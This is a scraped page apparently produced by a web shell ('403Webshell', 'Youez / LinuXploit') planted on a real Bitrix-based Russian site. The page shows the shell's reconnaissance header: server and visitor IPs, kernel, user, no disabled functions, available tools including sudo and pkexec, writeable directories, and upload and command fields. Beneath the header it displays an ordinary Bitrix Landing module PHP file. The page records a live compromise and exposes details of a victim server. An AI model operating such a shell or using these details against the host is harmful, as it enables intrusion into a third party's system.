403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/landing/lib/connector/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/landing/lib/connector/iblock.php
<?php
namespace Bitrix\Landing\Connector;

use \Bitrix\Landing\Internals\HookDataTable;

class Iblock
{
	/**
	 * Gets element's url in site context.
	 * @param int|string $siteId Site id (or template code used to create site).
	 * @param int $elementId Element id.
	 * @return string
	 */
	public static function getElementUrl($siteId, $elementId): string
	{
		$url = '';

		\Bitrix\Landing\Rights::setGlobalOff();

		if (is_string($siteId))
		{
			$res = \Bitrix\Landing\Site::getList([
				'select' => ['ID'],
				'filter' => ['=TPL_CODE' => $siteId],
				'order' => ['ID' => 'desc']
			]);
			if ($row = $res->fetch())
			{
				$siteId = $row['ID'];
			}
		}

		$syspages = \Bitrix\Landing\Syspage::get($siteId);
		if (isset($syspages['catalog']))
		{
			$landing = \Bitrix\Landing\Landing::createInstance(
				$syspages['catalog']['LANDING_ID'],
				['skip_blocks' => true]
			);
			if ($landing->exist())
			{
				$url = \Bitrix\Landing\PublicAction\Utils::getIblockURL(
					$elementId,
					'detail'
				);
				$url = str_replace(
					'#system_catalog',
					$landing->getPublicUrl(),
					$url
				);
				if (mb_substr($url, 0, 1) == '/')
				{
					$url = \Bitrix\Landing\Site::getPublicUrl(
						$landing->getSiteId()
					) . $url;
				}
			}
		}

		\Bitrix\Landing\Rights::setGlobalOn();

		return $url;
	}

	/**
	 * Callback on after delete iblock's section.
	 * @param array $section Section's data.
	 * @return void
	 */
	public static function onAfterIBlockSectionDelete(array $section): void
	{
		if ($section['ID'] ?? null)
		{
			$res = HookDataTable::getList([
				'select' => [
					'ID'
				],
				'filter' => [
					'=HOOK' => 'SETTINGS',
					'=CODE' => 'SECTION_ID',
					'=VALUE' => $section['ID']
				]
			]);
			while ($row = $res->fetch())
			{
				HookDataTable::delete($row['ID'])->isSuccess();
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit